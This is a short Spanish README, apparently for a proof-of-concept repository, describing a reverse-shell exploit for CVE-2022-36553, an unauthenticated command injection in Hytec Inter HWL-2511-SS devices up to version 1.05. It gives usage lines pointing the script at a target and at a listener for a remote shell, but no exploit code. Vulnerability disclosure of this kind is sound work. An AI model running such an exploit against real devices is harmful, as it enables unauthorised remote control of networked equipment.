CVE-2022-36553 - Inyección Remota de Comandos no Autenticada en Hytec Inter HWL-2511-SS.

Resumen

Este repositorio contiene un script de shell reversa (PoC) para explotar CVE-2022-36553, una vulnerabilidad crítica en dispositivos Hytec Inter HWL-2511-SS. El script es una demostración práctica que complementa el análisis detallado proporcionado en mi publicación de blog "Hytec Inter HWL-2511-SS - Informe de Vulnerabilidad."

Versiones afectadas

Todos los dispositivos Hytec Inter HWL-2511-SS desde la versión 1.05 e inferiores.

Uso del script PoC

# Usage: python HWL-2511-SS.py --RHOST <Target-IP> --RPORT <Target-Port> --LHOST <Local-IP> --LPORT <Local-Port>
# Example: python HWL-2511-SS.py --RHOST 192.168.1.1 --RPORT 443 --LHOST 192.168.1.100 --LPORT 4444

Video de prueba de concepto

Nota

SOLO CON FINES EDUCATIVOS.